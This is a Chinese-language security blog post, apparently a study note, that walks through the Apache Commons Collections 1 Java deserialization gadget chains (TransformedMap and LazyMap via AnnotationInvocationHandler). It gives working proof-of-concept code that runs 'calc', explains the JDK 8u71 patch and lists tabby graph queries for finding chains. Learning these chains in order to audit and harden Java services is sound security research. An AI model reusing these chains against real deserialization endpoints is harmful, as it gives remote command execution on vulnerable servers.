Commons Collections 1的transformedMap和LazyMap调用链

前言:相比于php反序列化,java的反序列化涉及到的知识点比较广,可能还需要学习很长的时间!

参考文章:https://www.anquanke.com/post/id/238480
参考文章:https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/#h3_利用apache-commons-collections实现远程代码执行

Apache Commons Collections

Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用。

Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。

Apache Commons Collections中有一个特殊的接口,其中有一个实现该Transformer接口的类可以通过调用Java的反射机制来调用任意函数。

InvokerTransformer调用链

主要的原因是:InvokerTransformer类,存在于org.apache.commons.collections.functors包,该类实现了Serializable接口

public class InvokerTransformer implements Transformer, Serializable

我们可以看到invokerTransformer中有个方法是transform,下面的代码中可以看到,该函数的调用过程:

1、首先传参获取Object对象input的Class实例

2、然后通过反射invoke来调用了指定的iMethodName方法

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

需要注意的是:iMethodName 和 iParamTypes是我们可以控制的,这两个参数是通过构造函数进行传入的!

public class InvokerTransformer implements Transformer, Serializable {
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    ...
    ...

}

那么就可以说,如果我们可控这两个参数的话,并且找到一个实例化Transformer的类的地方的话,就可以直接进行RCE的命令执行!

接下来我们模拟一个实例化Transformer类的方法,这样就可以调用Runtime实例中的exec的方法来进行命令执行

public class CommonsCollections5 {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec", // 传入要获取的方法
                new Class[]{String.class}, // 该方法所需要的参数类型
                new String[]{"calc"} // 该方法所要执行的命令参数
                );
        invokerTransformer.transform(Runtime.getRuntime()); //传入一个Runtime的实例
    }
}

ChainedTransformer调用链

但是InvokerTransformer只是提供了让我们通过反射任意调用类函数的作用,对于这里的invokerTransformer.transform(Runtime.getRuntime())的Runtime.getRuntime()我们能控制吗?不能控制,所以如果说想实现漏洞的话,就需要继续寻找,在这里的话我们就需要寻找可以直接帮助我们提供了Runtime.getRuntime(),而不是我们自己需要手动传递的方法!

可以观察 org.apache.commons.collections.functors.ChainedTransformer类,这个类同样实现了transform方法,先看该ChainedTransformer类的构造方法如下,它会将传入的的对象存储到iTransformers变量中,进行相关的链式调用的操作

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

并且ChainedTransformer类中的transform方法定义如下,可以看到它将自身变量iTransformers(也就是上面的iTransformers属性),链式调用iTransformers属性中的每个对象的transform,且返回值作为下一个tranform函数的参数

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }
    return object;
}

到这里通过ChainedTransformer这个类,我们不仅可以不用手动传递参数,而且同样能够进行命令执行的操作!

到这里命令执行的构造的代码是如下,则相当于执行的代码是 ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");

class CommonsCollections5Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{ //定义Transformer对象数组
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),

                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };

        Transformer chain = new ChainedTransformer(transformers);
        chain.transform(null);
    }
}

那么到目前的链的就是 首先 new ConstantTransformer(Runtime.class) 通过其构造方法拿到了Runtime类,然后通过InvokerTransformer的反射功能拿到getRuntime(),然后又用一个InvokerTransformer拿到了invoke(),最后再用InvokerTransformer拿到exec,达成执行命令的效果。

AnnotationInvocationHandler调用链+TransformedMap调用链(只适用jdk <= 8u71)

那么现在继续看这里,我们现在一层一层的套,其实最终的目的就是想找一个可以承载我们代码中所有的操作的一个对象,而TransformedMap就是必经的一点!

通过TransformedMap.decorate 返回一个键为null 值为transformedChain的一个TransformedMap,这里的hashmap键值对啥都行,TransformedMap实例化需要,而最终利用的就是这个对象中的entry的setValue方法,通过setValue可以触发链式调用,下面通过调试可以发现!

public class Test {
    public static void main(String[] args) {
        // 定义需要执行的本地系统命令
        String cmd = "calc";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

        // 获得该Map中的第一个Entry
        Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();

        // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
        entry.setValue("test");

    }
}

直接打断点,然后跟进setValue方法中

发现它会调用外部类的checkSetValue方法,继续F7跟进

可以发现它最终会调用了之前实例化的时候,键值对中得值transformedChain对象的transform方法,所以最终进行了命令执行

那到这里我们还是需要继续套的,最终就是想找到一个可以承载这些对象的操作,但是这个对象还没找到,所以需要继续找。

到这里大家肯定会有疑问,自己当初也是有疑问的,第一层你说runtime不能直接传参,所以通过了链式调用来进行替代,这个还可以理解,那为什么现在已经明明可以执行命令了,为什么还要继续在上面套东西?

答案:我们最终想要执行的是反序列化,什么是反序列化漏洞,就是在应用中,反序列化时需要一个对象,但是这些操作无法被打包成对象进行(也就是对这个整体进行序列化writeObject的操作进行存储),所以还需要一个寄生对象,这个对象能够把所有我们需要执行的操作全部存储到该对象中,然后还需要一个条件,就是这个被承载对象能够进行序列化,如果这样完成了的话,那么我们下次审计代码的时候是不是只需要找到一个可以控制的反序列化的点(也就是存在可控对象,该对象会去调用readObject进行反序列化),此时我们将已经序列化的数据发过去,那么这个点就能触发我们序列化对象中的readObject,那么是不是就会如下我们现在代码中的操作了?反序列化的漏洞就是如此!

这里说的“这个点就能触发我们序列化对象中的readObject”,如何理解?那么也就是需要我们承载的对象本身就需要拥有readObject这个功能,要不然也就不会触发了

第二点就是,承载的对象本身readObject中还需要进行触发命令执行的操作,比如我们这里的Commons Collections 1调用链,它的触发点就是setValue,那么含义就是这个承载的对象在反序列化的时候需要去触发setValue这个函数,满足了上满的条件才算真正一个完全利用的反序列化命令执行的链!

那么到这里如果我们完成了上面的条件,那么也就只差一个反序列化的可控点了!

到目前还差一个 能够承载对象,并且该对象需要拥有readObject,且这个readObject方法中需要命令执行的属性调用setValue方法,挖掘反序列化链的大佬们太厉害了,他们找到了一个能够承载这些对象的操作的一个类!

我们观察这个类就知道为什么它可以作为 反序列化的承载对象了

1、是否有readObject方法

package sun.reflect.annotation;

class AnnotationInvocationHandler implements InvocationHandler, Serializable

可以发现确实存在readObject方法

2、readObject方法中是否调用了要命令执行的属性的setValue方法,可以发现this.memberValues这个如果可控,并且为我们的可以进行链式调用的transformedMap对象,那么这条完整的反序列化链就有了!

可以发现构造函数可以对这个var1和var2都进行控制,那么this.memberValues就可控

这里还有一个需要注意的,如果这个条件不满足,则会抛出异常,那到底是什么条件呢?

这里会经过一系列的判断,我们也需要满足,具体自己调试分析一下

最终的利用代码则是如下所示:

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException, IOException {
        // 定义需要执行的本地系统命令
        String cmd = "calc";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

        // 获取AnnotationInvocationHandler类对象
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        // 获取AnnotationInvocationHandler类的构造方法
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Target.class, transformedMap);

        FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);

        FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }
}

这里还需要注意的地方:

1、对于Runtime.class,虽然说Runtime本身是不可序列化的对象,但是对于每个类的class对象都是可以进行序列化的。

ConstantTransformer().transform()
  InvokerTransformer().transform()
    TransformedMap().decorate().TransformedMap
      AbstractInputCheckedMapDecorator().entrySet().next().MapEntry()
        AnnotationInvocationHandler().readObject().setValue()
          TransformedMap().checkSetValue()
            InvokerTransformer().transform().getMethod().invoke().exec()

AnnotationInvocationHandler调用链+LazyMap调用链(只适用jdk <= 8u71)

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

除了transformedMap作为chains来进行利用以外,这里还有一种chains是通过LazyMap来进行构造,LazyMap的构造比起transformedMap会复杂一点

依靠this.memberValues.entrySet()来进行触发,如下图所示

package com.zpchcbd.cc1;

import com.fr.third.guava.collect.MapConstraints;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1_LazyMap {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        Map lazyMap = LazyMap.decorate(new HashMap(), chain);

        // 获取AnnotationInvocationHandler类对象
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取AnnotationInvocationHandler类的构造方法
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        // 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        // 创建LazyMap的动态代理类实例
        Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxy);

        // 模拟触发
        serialize(invocationHandler);
        unserialize();

    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }

}

8u71之后无法进行利用的原因

这里的话可以来对比下 8u71 前后sun.reflect.annotation.AnnotationInvocationHandler的代码变动

代码变动参考地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

可以看到,变动之后对于AnnotationInvocationHandler的readObject方法中不再直接使用反序列化出来transformedMap对象,并且也不再使用transformedMap相关的setValue等方法

对于LazyMap的利用中,代理类AnnotationInvocationHandler中的this.memberValues被替换为了LinkedHashMap,不是先前设置的lazymap,这里的话就是LinkedHashMap的entrySet

而LinkedHashMap中的get方法在获取entrySet属性的时候是不存在的,所以就导致失败了

tabby反序列化链挖掘

因为自己tabby导入分析的是jdk1.8的,由于重新分析需要消耗比较久的时候,所以这里就直接给语法,在jdk1.7中是否能找出对应的利用链还需自行测试

tabby_TransformedMap(JDK<=8u71)

match (source:Method) where source.NAME="readObject"
match (m1:Method) where m1.NAME="transform" and m1.CLASSNAME="org.apache.commons.collections.functors.InvokerTransformer"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",6) yield path
where any(n in nodes(path) where n.CLASSNAME="org.apache.commons.collections.map.TransformedMap")
return * limit 50

tabby_LazyMap(JDK<=8u71)

source:sun.reflect.annotation.AnnotationInvocationHandler#readObject
chain:org.apache.commons.collections.map.LazyMap#get
sink:org.apache.commons.collections.functors.ChainedTransformer#transform

match (source:Method) where source.NAME="readObject" and source.CLASSNAME = "sun.reflect.annotation.AnnotationInvocationHandler"
match (m1:Method) where m1.NAME="transform" and m1.CLASSNAME="org.apache.commons.collections.functors.ChainedTransformer"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 4) yield path
where any(n in nodes(path) where n.CLASSNAME="org.apache.commons.collections.map.LazyMap")
return * limit 50
posted @ 2021-05-03 12:08  zpchcbd  阅读(585)  评论(0)    收藏  举报